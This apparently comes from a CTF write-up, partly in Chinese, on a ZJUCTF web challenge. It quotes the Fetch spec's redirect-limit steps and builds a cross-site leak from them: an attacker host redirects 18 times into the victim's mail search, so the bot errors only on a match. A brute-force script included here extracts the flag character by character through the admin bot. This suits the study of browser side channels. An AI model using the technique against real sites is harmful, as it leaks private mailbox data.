// you have only 400ms if you have some CSS-based XSS attack awaitnewPromise(r =>setTimeout(r, 400));
// you have to make your payload create a delay more than 2000ms // if you want to use time-based side-channel attack awaitnewPromise(r =>setTimeout(r, Math.round(Math.random() * 4000)));
4.5. HTTP-redirect fetch To HTTP-redirect fetch, given a fetch params fetchParams and a response response, run these steps:
Let request be fetchParams’s request.
Let internalResponse be response, if response is not a filtered response; otherwise response’s internal response.
Let locationURL be internalResponse’s location URL given request’s current URL’s fragment.
If locationURL is null, then return response.
If locationURL is failure, then return a network error.
If locationURL’s scheme is not an HTTP(S) scheme, then return a network error.
If request’s redirect count is 20, then return a network error.
Increase request’s redirect count by 1.
If request’s mode is “cors”, locationURL includes credentials, and request’s origin is not same origin with locationURL’s origin, then return a network error.
If request’s response tainting is “cors” and locationURL includes credentials, then return a network error.
请看第7条:If request’s redirect count is 20, then return a network error. 当邮件搜索的结果恰好为1封邮件时,服务器会返回一个重定向响应.
那么,What if the attacker redirected their own page 18 times and then redirected it to the victim’s website?
答案是:puppeteer会进入catch分支,返回”Don’t hack my puppeteer.”,那么我们就实现了正误输入的差分。
let prefix="ZJUCTF{"; (async ()=>{ for(let i=0;i<32;i++){ for(let c of charset){ let attempt = prefix + c process.stdout.write(`Trying ${attempt}\r`) let resp = awaitfetch(`${ROOT}/bot?url=http://10.197.137.96:3000/redirect/18/?url=http://localhost:8080/mail-search/zh?q=${encodeURIComponent(attempt)}`) let text = await resp.text() if(text.includes("hack")){ prefix += c console.log(`Found character: ${c}, prefix now: ${prefix}`) break } } } })();